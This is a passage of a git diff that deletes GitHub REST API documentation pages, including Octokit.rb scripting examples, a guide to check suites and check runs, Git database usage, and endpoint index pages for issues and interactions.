/user/starred/{owner}/{repo}", owner: "github", repo: "docs") -puts "The repository is starred by me" -rescue Octokit::NotFound => error -puts "The repository is not starred by me" -rescue Octokit::Error => error -puts "An error occurred while checking if the repository is starred: #{error&.response&.data&.message}" -end -``` - -### Handling rate limit errors - -If you receive a rate limit error, you may want to retry your request after waiting. When you are rate limited, {% data variables.product.company_short %} responds with a `403 Forbidden` error, and the `x-ratelimit-remaining` response header value will be `"0"`. The response headers will include a `x-ratelimit-reset` header, which tells you the time at which the current rate limit window resets, in UTC epoch seconds. You can retry your request after the time specified by `x-ratelimit-reset`. - -```ruby copy -def request_retry(route, parameters) - begin - response = octokit.request(route, parameters) - return response - rescue Octokit::RateLimitExceeded => error - reset_time_epoch_seconds = error.response.headers['x-ratelimit-reset'].to_i - current_time_epoch_seconds = Time.now.to_i - seconds_to_wait = reset_time_epoch_seconds - current_time_epoch_seconds - puts "You have exceeded your rate limit. Retrying in #{seconds_to_wait} seconds." - sleep(seconds_to_wait) - retry - rescue Octokit::Error => error - puts error - end - end - - response = request_retry("GET /repos/{owner}/{repo}/issues", owner: "github", repo: "docs", per_page: 2) -``` - -## Using the response - -The `request` method returns a response object if the request was successful. The response object contains `data` (the response body returned by the endpoint), `status` (the HTTP response code), `url` (the URL of the request), and `headers` (a hash containing the response headers). Unless otherwise specified, the response body is in JSON format. Some endpoints do not return a response body; in those cases, the `data` property is omitted. - -```ruby copy -response = octokit.request("GET /repos/{owner}/{repo}/issues/{issue_number}", owner: "github", repo: "docs", issue_number: 11901) - puts "The status of the response is: #{response.status}" - puts "The request URL was: #{response.url}" - puts "The x-ratelimit-remaining response header is: #{response.headers['x-ratelimit-remaining']}" - puts "The issue title is: #{response.data['title']}" -``` - -Similarly, the `paginate` method returns a response object. If the `request` was successful, the `response` object contains data, status, url, and headers. - -```ruby copy -response = octokit.paginate("GET /repos/{owner}/{repo}/issues", owner: "github", repo: "docs", per_page: 100) -puts "#{response.data.length} issues were returned" -puts "The title of the first issue is: #{response.data[0]['title']}" -``` - -## Example script - -Here is a full example script that uses Octokit.rb. The script imports ``Octokit`` and creates a new instance of `Octokit`. If you want to authenticate with a {% data variables.product.prodname_github_app %} instead of a {% data variables.product.pat_generic %}, you would import and instantiate `App` instead of `Octokit`. For more information, see [Authenticating with a {% data variables.product.prodname_github_app %}](#authenticating-with-a-github-app) in this guide. - -The `get_changed_files` function gets all of the files changed for a pull request. The `comment_if_data_files_changed` function calls the `get_changed_files` function. If any of the files that the pull request changed include `/data/` in the file path, then the function will comment on the pull request. - -```ruby copy -require "octokit" - - octokit = Octokit::Client.new(access_token: "YOUR-TOKEN") - - def get_changed_files(octokit, owner, repo, pull_number) - files_changed = [] - - begin - iterator = octokit.paginate.iterator("GET /repos/{owner}/{repo}/pulls/{pull_number}/files", owner: owner, repo: repo, pull_number: pull_number, per_page: 100) - iterator.each do | data | - files_changed.concat(data.map { - | file_data | file_data.filename - }) - end - rescue Octokit::Error => error - if error.response - puts "Error! Status: #{error.response.status}. Message: #{error.response.data.message}" - end - puts error - end - - files_changed - end - - def comment_if_data_files_changed(octokit, owner, repo, pull_number) - changed_files = get_changed_files(octokit, owner, repo, pull_number) - - if changed_files.any ? { - | file_name | /\/data\//i.match ? (file_name) - } - begin - comment = octokit.create_pull_request_review_comment(owner, repo, pull_number, "It looks like you changed a data file. These files are auto-generated. \n\nYou must revert any changes to data files before your pull request will be reviewed.") - comment.html_url - rescue Octokit::Error => error - if error.response - puts "Error! Status: #{error.response.status}. Message: #{error.response.data.message}" - end - puts error - end - end - end - -# Example usage -owner = "github" -repo = "docs" -pull_number = 22809 -comment_url = comment_if_data_files_changed(octokit, owner, repo, pull_number) - -puts "A comment was added to the pull request: #{comment_url}" -``` - -> [!NOTE] -> This is just a basic example. In practice, you may want to use error handling and conditional checks to handle various scenarios. - -## Next steps - -To learn more about working with the {% data variables.product.company_short %} REST API and Octokit.rb, explore the following resources: - -* To learn more about Octokit.rb see [the Octokit.rb documentation](https://github.com/octokit/octokit.rb/#readme). -* To find detailed information about {% data variables.product.company_short %}'s available REST API endpoints, including their request and response structures, see the [AUTOTITLE](/rest). diff --git a/content/rest/guides/using-the-rest-api-to-interact-with-checks.md b/content/rest/guides/using-the-rest-api-to-interact-with-checks.md deleted file mode 100644 index 5f6b192f8e66..000000000000 --- a/content/rest/guides/using-the-rest-api-to-interact-with-checks.md +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Using the REST API to interact with checks -intro: 'You can use the REST API to build {% data variables.product.prodname_github_apps %} that run powerful checks against code changes in a repository. You can create apps that perform continuous integration, code linting, or code scanning services and provide detailed feedback on commits.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -shortTitle: Get started - Checks -redirect_from: - - /rest/guides/getting-started-with-the-checks-api ---- - -## Overview - -Rather than binary pass/fail build statuses, {% data variables.product.prodname_github_apps %} can report rich statuses, annotate lines of code with detailed information, and re-run tests. REST API to manage checks is available exclusively to your GitHub Apps. - -For an example of how to use the REST API with a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/guides/creating-ci-tests-with-the-checks-api). - -You can use statuses with [protected branches](/rest/repos#branches) to prevent people from merging pull requests prematurely. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-status-checks-before-merging). - -## About check suites - -When someone pushes code to a repository, GitHub creates a check suite for the last commit. A check suite is a collection of the [check runs](/rest/checks#check-runs) created by a single GitHub App for a specific commit. Check suites summarize the status and conclusion of the check runs that a suite includes. - -The `status` can be `queued`, `in_progress`, `requested`, `waiting`, `pending`, or `completed`. Only {% data variables.product.prodname_actions %} can set a status of `requested`, `waiting`, or `pending`. - -If the status is `completed`, the conclusion can be any of the following: -* `action_required` -* `cancelled` -* `timed_out` -* `failure` -* `neutral` -* `skipped` -* `stale` -* `startup_failure` -* `success` - -The check suite reports the highest priority check run `conclusion` in the check suite's `conclusion`. For example, if three check runs have conclusions of `timed_out`, `success`, and `neutral` the check suite conclusion will be `timed_out`. - -By default, GitHub creates a check suite automatically when code is pushed to the repository. This default flow sends the `check_suite` event (with `requested` action) to all GitHub Apps that have the `checks:write` permission. When your GitHub App receives the `check_suite` event, it can create new check runs for the latest commit. GitHub automatically adds new check runs to the correct [check suite](/rest/checks#check-suites) based on the check run's repository and SHA. - -If you don't want to use the default automatic flow, you can control when you create check suites. To change the default settings for the creation of check suites, use the [Update repository preferences for check suites](/rest/checks/suites#update-repository-preferences-for-check-suites) endpoint. All changes to the automatic flow settings are recorded in the audit log for the repository. If you have disabled the automatic flow, you can create a check suite using the [Create a check suite](/rest/checks/suites#create-a-check-suite) endpoint. You should continue to use the [Create a check run](/rest/checks/runs#create-a-check-run) endpoint to provide feedback on a commit. - -{% data reusables.apps.checks-availability %} - -To use the endpoints to manage check suites, the {% data variables.product.prodname_github_app %} must have the `checks:write` permission and can also subscribe to the [check_suite](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_suite) webhook. - -{% data reusables.shortdesc.authenticating_github_app %} - -## About check runs - -A check run is an individual test that is part of a check suite. Each run includes a status and conclusion. - -The `status` can be `queued`, `in_progress`, `requested`, `waiting`, `pending`, or `completed`. Only {% data variables.product.prodname_actions %} can set a status of `requested`, `waiting`, or `pending`. - -If the status is `completed`, the conclusion can be any of the following: -* `action_required` -* `cancelled` -* `timed_out` -* `failure` -* `neutral` -* `skipped` -* `success` - -If a check run is in an incomplete state for more than 14 days, then the check run's `conclusion` becomes `stale` and appears on {% data variables.product.prodname_dotcom %} as stale with {% octicon "issue-reopened" aria-label="The issue-reopened icon" %}. Only {% data variables.product.prodname_dotcom %} can mark check runs as `stale`. For more information about possible conclusions of a check run, see the [`conclusion` parameter](/rest/checks#create-a-check-run--parameters). - -As soon as you receive the [`check_suite`](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_suite) webhook, you can create the check run, even if the check is not complete. You can update the `status` of the check run as it completes with the values `queued`, `in_progress`, or `completed`, and you can update the `output` as more details become available. A check run can contain timestamps, a link to more details on your external site, detailed annotations for specific lines of code, and information about the analysis performed. - -Annotations add information from your check run to specific lines of code. Each annotation includes an `annotation_level` property, which can be `notice`, `warning`, or `failure`. The annotation also includes `path`, `start_line`, and `end_line` to specify what location the annotation refers to. The annotation includes a `message` to describe the result. For more information, see [AUTOTITLE](/rest/checks/runs). - -A check can also be manually re-run in the GitHub UI. See [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks#checks) for more details. When this occurs, the {% data variables.product.prodname_github_app %} that created the check run will receive the [`check_run`](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_run) webhook requesting a new check run. If you create a check run without creating a check suite, {% data variables.product.github %} creates the check suite for you automatically. - -{% data reusables.apps.checks-availability %} - -To use the endpoints to manage check runs, the {% data variables.product.prodname_github_app %} must have the `checks:write` permission and can also subscribe to the [check_run](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_run) webhook. - -## Check runs and requested actions - -When you set up a check run with requested actions (not to be confused with {% data variables.product.prodname_actions %}), you can display a button in the pull request view on {% data variables.product.prodname_dotcom %} that allows people to request your {% data variables.product.prodname_github_app %} to perform additional tasks. - -For example, a code linting app could use requested actions to display a button in a pull request to automatically fix detected syntax errors. - -To create a button that can request additional actions from your app, use the [`actions` object](/rest/checks/runs#create-a-check-run--parameters) when you [Create a check run](/rest/checks#create-a-check-run). For example, the `actions` object below displays a button in the **Checks** tab of a pull request with the label "Fix this." The button appears after the check run completes. - -```json -"actions": [{ - "label": "Fix this", - "description": "Let us fix that for you", - "identifier": "fix_errors" -}] -``` - -When a user clicks the button, {% data variables.product.prodname_dotcom %} sends the [`check_run.requested_action` webhook](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_run) to your app. When your app receives a `check_run.requested_action` webhook event, it can look for the `requested_action.identifier` key in the webhook payload to determine which button was clicked and perform the requested task. - -For a detailed example of how to set up requested actions with the REST API, see [AUTOTITLE](/apps/creating-github-apps/guides/creating-ci-tests-with-the-checks-api#part-2-creating-the-octo-rubocop-ci-test). - -## Retention of checks data - -{% data reusables.pull_requests.retention-checks-data %} diff --git a/content/rest/guides/using-the-rest-api-to-interact-with-your-git-database.md b/content/rest/guides/using-the-rest-api-to-interact-with-your-git-database.md deleted file mode 100644 index 7e48672c6ac8..000000000000 --- a/content/rest/guides/using-the-rest-api-to-interact-with-your-git-database.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Using the REST API to interact with your Git database -intro: 'Use the REST API to read and write raw Git objects to your Git database on {% data variables.product.github %} and to list and update your references (branch heads and tags).' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -shortTitle: Get started - Git database -redirect_from: - - /rest/guides/getting-started-with-the-git-database-api ---- - -## Overview - -This basically allows you to reimplement a lot of Git functionality with the REST API - by creating raw objects directly into the database and updating branch references you could technically do just about anything that Git can do without having Git installed. - -The REST API will return a `409 Conflict` if the Git repository is empty -or unavailable. An unavailable repository typically means {% data variables.product.github %} is in the process of creating the repository. For an empty repository, you can use the [`PUT /repos/{owner}/{repo}/contents/{path}`](/rest/repos/contents#create-or-update-file-contents) REST API endpoint to create content and initialize the repository so you can use the API to manage the Git database. Contact {% data variables.contact.contact_support %} if this response status persists. - -For more information on the Git object database, please read the -[Git Internals](https://git-scm.com/book/en/v2/Git-Internals-Plumbing-and-Porcelain) chapter of -the Pro Git book. - -As an example, if you wanted to commit a change to a file in your -repository, you would: - -* Get the current commit object -* Retrieve the tree it points to -* Retrieve the content of the blob object that tree has for that particular file path -* Change the content somehow and post a new blob object with that new content, getting a blob SHA back -* Post a new tree object with that file path pointer replaced with your new blob SHA getting a tree SHA back -* Create a new commit object with the current commit SHA as the parent and the new tree SHA, getting a commit SHA back -* Update the reference of your branch to point to the new commit SHA - -It might seem complex, but it's actually pretty simple when you understand -the model and it opens up a ton of things you could potentially do with the API. - -## Checking mergeability of pull requests - -> [!WARNING] -> Please do not depend on using Git directly or [`GET /repos/{owner}/{repo}/git/refs/{ref}`](/rest/git/refs#get-a-reference) for updates to `merge` Git refs, because this content becomes outdated without warning. - -A consuming API needs to explicitly request a pull request to create a _test_ merge commit. A _test_ merge commit is created when you view the pull request in the UI and the "Merge" button is displayed, or when you [get](/rest/pulls/pulls#get-a-pull-request), [create](/rest/pulls/pulls#create-a-pull-request), or [edit](/rest/pulls#update-a-pull-request) a pull request using the REST API. Without this request, the `merge` Git refs will fall out of date until the next time someone views the pull request. - -If you are currently using polling methods that produce outdated `merge` Git refs, then GitHub recommends using the following steps to get the latest changes from the default branch: - -1. Receive the pull request webhook. -1. Call [`GET /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/pulls/pulls#get-a-pull-request) to start a background job for creating the merge commit candidate. -1. Poll your repository using [`GET /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/pulls/pulls#get-a-pull-request) to see if the `mergeable` attribute is `true` or `false`. You can use Git directly or [`GET /repos/{owner}/{repo}/git/refs/{ref}`](/rest/git/refs#get-a-reference) for updates to `merge` Git refs only after performing the previous steps. diff --git a/content/rest/guides/working-with-comments.md b/content/rest/guides/working-with-comments.md deleted file mode 100644 index 0c86129cae4a..000000000000 --- a/content/rest/guides/working-with-comments.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Working with comments -intro: 'Using the REST API, you can access and manage comments in your pull requests, issues, or commits.' -redirect_from: - - /guides/working-with-comments - - /v3/guides/working-with-comments -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API ---- - - - -For any Pull Request, {% data variables.product.github %} provides three kinds of comment views: -[comments on the Pull Request](https://github.com/octocat/Spoon-Knife/pull/1176#issuecomment-24114792) as a whole, [comments on a specific line](https://github.com/octocat/Spoon-Knife/pull/1176#discussion_r6252889) within the Pull Request, -and [comments on a specific commit](https://github.com/octocat/Spoon-Knife/commit/cbc28e7c8caee26febc8c013b0adfb97a4edd96e#commitcomment-4049848) within the Pull Request. - -Each of these types of comments goes through a different portion of the {% data variables.product.github %} API. -In this guide, we'll explore how you can access and manipulate each one. For every -example, we'll be using [this sample Pull Request made](https://github.com/octocat/Spoon-Knife/pull/1176) on the "octocat" -repository. As always, samples can be found in [our platform-samples repository](https://github.com/github/platform-samples/tree/master/api/ruby/working-with-comments). - -## Pull Request Comments - -To access comments on a Pull Request, you'll use [the endpoints to manage issues](/rest/issues/comments). -This may seem counterintuitive at first. But once you understand that a Pull -Request is just an Issue with code, it makes sense to use these endpoints to -create comments on a Pull Request. - -We'll demonstrate fetching Pull Request comments by creating a Ruby script using -[Octokit.rb](https://github.com/octokit/octokit.rb). You'll also want to create a [{% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -The following code should help you get started accessing comments from a Pull Request -using Octokit.rb: - -``` ruby -require 'octokit' - -# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! -# Instead, set and test environment variables, like below -client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] - -client.issue_comments("octocat/Spoon-Knife", 1176).each do |comment| - username = comment[:user][:login] - post_date = comment[:created_at] - content = comment[:body] - - puts "#{username} made a comment on #{post_date}. It says:\n'#{content}'\n" -end -``` - -Here, we're specifically calling out to the API to get the comments (`issue_comments`), -providing both the repository's name (`octocat/Spoon-Knife`), and the Pull Request ID -we're interested in (`1176`). After that, it's simply a matter of iterating through -the comments to fetch information about each one. - -## Pull Request Comments on a Line - -Within the diff view, you can start a discussion on a particular aspect of a singular -change made within the Pull Request. These comments occur on the individual lines -within a changed file. The endpoint URL for this discussion comes from [the endpoint to manage pull request reviews](/rest/pulls/comments). - -The following code fetches all the Pull Request comments made on files, given a single Pull Request number: - -``` ruby -require 'octokit' - -# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! -# Instead, set and test environment variables, like below -client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] - -client.pull_request_comments("octocat/Spoon-Knife", 1176).each do |comment| - username = comment[:user][:login] - post_date = comment[:created_at] - content = comment[:body] - path = comment[:path] - position = comment[:position] - - puts "#{username} made a comment on #{post_date} for the file called #{path}, on line #{position}. It says:\n'#{content}'\n" -end -``` - -You'll notice that it's incredibly similar to the example above. The difference -between this view and the Pull Request comment is the focus of the conversation. -A comment made on a Pull Request should be reserved for discussion or ideas on -the overall direction of the code. A comment made as part of a Pull Request review should -deal specifically with the way a particular change was implemented within a file. - -## Commit Comments - -The last type of comments occur specifically on individual commits. For this reason, -they make use of [the endpoint to manage commit comments](/rest/commits#get-a-commit-comment). - -To retrieve the comments on a commit, you'll want to use the SHA1 of the commit. -In other words, you won't use any identifier related to the Pull Request. Here's an example: - -``` ruby -require 'octokit' - -# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! -# Instead, set and test environment variables, like below -client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] - -client.commit_comments("octocat/Spoon-Knife", "cbc28e7c8caee26febc8c013b0adfb97a4edd96e").each do |comment| - username = comment[:user][:login] - post_date = comment[:created_at] - content = comment[:body] - - puts "#{username} made a comment on #{post_date}. It says:\n'#{content}'\n" -end -``` - -Note that this API call will retrieve single line comments, as well as comments made -on the entire commit. diff --git a/content/rest/index.md b/content/rest/index.md deleted file mode 100644 index 9987a9f92c42..000000000000 --- a/content/rest/index.md +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: GitHub REST API documentation -shortTitle: REST API -intro: >- - Create integrations, retrieve data, and automate your workflows with the {% - data variables.product.prodname_dotcom %} REST API. -introLinks: - overview: /rest/about-the-rest-api/about-the-rest-api - quickstart: /rest/quickstart -featuredLinks: - startHere: - - /rest/about-the-rest-api/about-the-rest-api - - /rest/using-the-rest-api/getting-started-with-the-rest-api - - /rest/authentication/authenticating-to-the-rest-api - - /rest/using-the-rest-api/best-practices-for-using-the-rest-api - popular: - - /rest/using-the-rest-api/rate-limits-for-the-rest-api - - /rest/using-the-rest-api/troubleshooting-the-rest-api - - /rest/guides/scripting-with-the-rest-api-and-javascript - - /rest/authentication/keeping-your-api-credentials-secure - guideCards: - - /rest/guides/delivering-deployments - - /rest/guides/using-the-rest-api-to-interact-with-checks - - /rest/using-the-rest-api/using-pagination-in-the-rest-api -changelog: - label: 'api, apis' -layout: product-landing -redirect_from: - - /v3 - - /rest/reference - - /rest/overview - - /developers/overview -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /quickstart - - /about-the-rest-api - - /using-the-rest-api - - /authentication - - /guides - - /actions - - /activity - - /announcement-banners - - /apps - - /billing - - /branches - - /checks - - /classroom - - /code-scanning - - /code-security - - /codes-of-conduct - - /codespaces - - /collaborators - - /commits - - /copilot - - /dependabot - - /dependency-graph - - /deploy-keys - - /deployments - - /emojis - - /enterprise-admin - - /gists - - /git - - /gitignore - - /interactions - - /issues - - /licenses - - /markdown - - /meta - - /metrics - - /migrations - - /oauth-authorizations - - /orgs - - /packages - - /pages - - /private-registries - - /projects - - /pulls - - /rate-limit - - /reactions - - /releases - - /repos - - /scim - - /search - - /secret-scanning - - /security-advisories - - /teams - - /users -autogenerated: rest ---- - - - - diff --git a/content/rest/interactions/index.md b/content/rest/interactions/index.md deleted file mode 100644 index 59fb7e9e5073..000000000000 --- a/content/rest/interactions/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: REST API endpoints for interactions -shortTitle: Interactions -allowTitleToDifferFromFilename: true -intro: Use the REST API to set the interaction limit for the users in your organizations and repositories. -permissions: People with owner or admin access can set the interaction limit for the users in their organizations and repositories. -redirect_from: - - /v3/interactions - - /rest/reference/interactions -versions: - fpt: '*' - ghec: '*' -topics: - - API -children: - - /orgs - - /repos - - /user -autogenerated: rest ---- - -## About interactions - -Users interact with repositories by commenting, opening issues, and creating pull requests. You can use the REST API to allow people with owner or admin access to temporarily restrict interaction with public repositories to a certain type of user. - - diff --git a/content/rest/interactions/orgs.md b/content/rest/interactions/orgs.md deleted file mode 100644 index 192a79885786..000000000000 --- a/content/rest/interactions/orgs.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: REST API endpoints for organization interactions -shortTitle: Organization -intro: >- - Use the REST API to temporarily restrict which type of user can comment, open - issues, or create pull requests in the organization's public repositories. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About organization interactions - -Organization owners can temporarily restrict which type of user can comment, open issues, or create pull requests in the organization's public repositories. {% data reusables.interactions.interactions-detail %} Here's more about the types of {% data variables.product.github %} users: - -* {% data reusables.interactions.existing-user-limit-definition %} in the organization. -* {% data reusables.interactions.contributor-user-limit-definition %} in the organization. -* {% data reusables.interactions.collaborator-user-limit-definition %} in the organization. - -Setting the interaction limit at the organization level will overwrite any interaction limits that are set for individual repositories owned by the organization. To set different interaction limits for individual repositories owned by the organization, use the [Repository](/rest/interactions/repos) interactions endpoints instead. - - diff --git a/content/rest/interactions/repos.md b/content/rest/interactions/repos.md deleted file mode 100644 index cb31e29636c3..000000000000 --- a/content/rest/interactions/repos.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: REST API endpoints for repository interactions -shortTitle: Repository -intro: >- - Use the REST API to temporarily restrict which type of user can comment, open - issues, or create pull requests in a public repository. -permissions: >- - People with owner or admin access to temporarily restrict which type of user - can comment, open issues, or create pull requests in a public repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About repository interactions - -People with owner or admin access can use the REST API to temporarily restrict which type of user can comment, open issues, or create pull requests in a public repository. {% data reusables.interactions.interactions-detail %} Here's more about the types of {% data variables.product.github %} users: - -* {% data reusables.interactions.existing-user-limit-definition %} in the repository. -* {% data reusables.interactions.contributor-user-limit-definition %} in the repository. -* {% data reusables.interactions.collaborator-user-limit-definition %} in the repository. - -If an interaction limit is enabled for the user or organization that owns the repository, the limit cannot be changed for the individual repository. Instead, use the [User](/rest/interactions/user) or [Organization](/rest/interactions/orgs) interactions endpoints to change the interaction limit. - - diff --git a/content/rest/interactions/user.md b/content/rest/interactions/user.md deleted file mode 100644 index 867e26411015..000000000000 --- a/content/rest/interactions/user.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: REST API endpoints for user interactions -shortTitle: User -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to temporarily restrict which type of user can comment, open - issues, or create pull requests in your public repositories. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest ---- - -## About user interactions - -You can use the REST API to temporarily restrict which type of user can comment, open issues, or create pull requests on your public repositories. {% data reusables.interactions.interactions-detail %} Here's more about the types of {% data variables.product.github %} users: - -* {% data reusables.interactions.existing-user-limit-definition %} from interacting with your repositories. -* {% data reusables.interactions.contributor-user-limit-definition %} from interacting with your repositories. -* {% data reusables.interactions.collaborator-user-limit-definition %} from interacting with your repositories. - -Setting the interaction limit at the user level will overwrite any interaction limits that are set for individual repositories owned by the user. To set different interaction limits for individual repositories owned by the user, use the [Repository](/rest/interactions/repos) interactions endpoints instead. - - diff --git a/content/rest/issues/assignees.md b/content/rest/issues/assignees.md deleted file mode 100644 index 6508f529c4b9..000000000000 --- a/content/rest/issues/assignees.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for issue assignees -allowTitleToDifferFromFilename: true -shortTitle: Assignees -intro: Use the REST API to manage assignees on issues and pull requests. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About issue and pull request assignees - -You can use the REST API to view, add, and remove assignees on issues and pull requests. {% data reusables.pull_requests.issues-pr-shared-api %} - - diff --git a/content/rest/issues/comments.md b/content/rest/issues/comments.md deleted file mode 100644 index 24d792bc707b..000000000000 --- a/content/rest/issues/comments.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for issue comments -allowTitleToDifferFromFilename: true -shortTitle: Comments -intro: Use the REST API to manage comments on issues and pull requests. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About issue and pull request comments - -You can use the REST API to create and manage comments on issues and pull requests. {% data reusables.pull_requests.issues-pr-shared-api %} To manage pull request review comments, see [AUTOTITLE](/rest/pulls/comments). - - diff --git a/content/rest/issues/events.md b/content/rest/issues/events.md deleted file mode 100644 index 27c8996ded47..000000000000 --- a/content/rest/issues/events.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: REST API endpoints for issue events -allowTitleToDifferFromFilename: true -shortTitle: Events -intro: >- - Use the REST API to retrieve events triggered by activity in issues and pull - requests. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About events - -You can use the REST API to view different types of events triggered by activity in issues and pull requests. For more information about the specific events that you can receive, see [AUTOTITLE](/webhooks-and-events/events/issue-event-types). To view {% data variables.product.github %} activity outside of issues and pull requests, you can use the [Events](/webhooks-and-events/events/github-event-types) endpoints. - -{% data reusables.pull_requests.issues-pr-shared-api %} - - diff --git a/content/rest/issues/index.md b/content/rest/issues/index.md deleted file mode 100644 index 1ebf572e68d6..000000000000 --- a/content/rest/issues/index.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: REST API endpoints for issues -shortTitle: Issues -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to view and manage issues, including issue assignees, - comments, labels, and milestones. -redirect_from: - - /v3/issues - - /rest/reference/issues -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /assignees - - /comments - - /events - - /issues - - /labels - - /milestones - - /sub-issues - - /timeline -autogenerated: rest ---- - - - - diff --git a/content/rest/issues/issues.md b/content/rest/issues/issues.md deleted file mode 100644 index d77d7787c0e5..000000000000 --- a/content/rest/issues/issues.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: REST API endpoints for issues -shortTitle: Issues -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage issues and pull requests. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - - diff --git a/content/rest/issues/labels.md b/content/rest/issues/labels.md deleted file mode 100644 index 0c813bc40473..000000000000 --- a/content/rest/issues/labels.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for labels -shortTitle: Labels -allowTitleToDifferFromFilename: true -intro: 'Use the REST API to manage labels for repositories, issues and pull requests.' -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About labels - -You can use the REST API to manage labels for a repository and add or remove labels to issues and pull requests. {% data reusables.pull_requests.issues-pr-shared-api %} - - diff --git a/content/rest/issues/milestones.md b/content/rest/issues/milestones.md deleted file mode 100644 index 7121e8d64391..000000000000 --- a/content/rest/issues/milestones.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for milestones -shortTitle: Milestones -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage milestones. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - - - - diff --git a/content/rest/issues/sub-issues.md b/content/rest/issues/sub-issues.md deleted file mode 100644 index 07cce607c4ba..000000000000 --- a/content/rest/issues/sub-issues.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: REST API endpoints for sub-issues -shortTitle: Sub-issues -intro: Use the REST API to view, add, remove, and reprioritize sub-issues. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - -{% data reusables.issues.release-stage %} - - diff --git a/content/rest/issues/timeline.md b/content/rest/issues/timeline.md deleted file mode 100644 index d92d167d02cc..000000000000 --- a/content/rest/issues/timeline.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: REST API endpoints for timeline events -allowTitleToDifferFromFilename: true -shortTitle: Timeline -intro: >- - Use the REST API to receive events triggered by timeline activity in issues - and pull requests. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About timeline events - -You can use the REST API to view different types of events triggered by timeline activity in issues and pull requests. For more information about the specific events that you can receive, see [AUTOTITLE](/webhooks-and-events/events/issue-event-types). To view {% data variables.product.github %} activity outside of issues and pull requests, see [AUTOTITLE](/webhooks-and-events/events/github-event-types). - -You can use timeline events to display information about issues and pull requests or determine who should be notified of issue comments. - -{% data reusables.pull_requests.issues-pr-shared-api %} - - diff --git a/content/rest/licenses/index.md b/content/rest/licenses/index.md deleted file mode 100644 index 6f73b626eafd..000000000000 --- a/content/rest/licenses/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for licenses -shortTitle: Licenses -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to retrieve popular open source licenses and information - about a particular project's license file. -versions: - 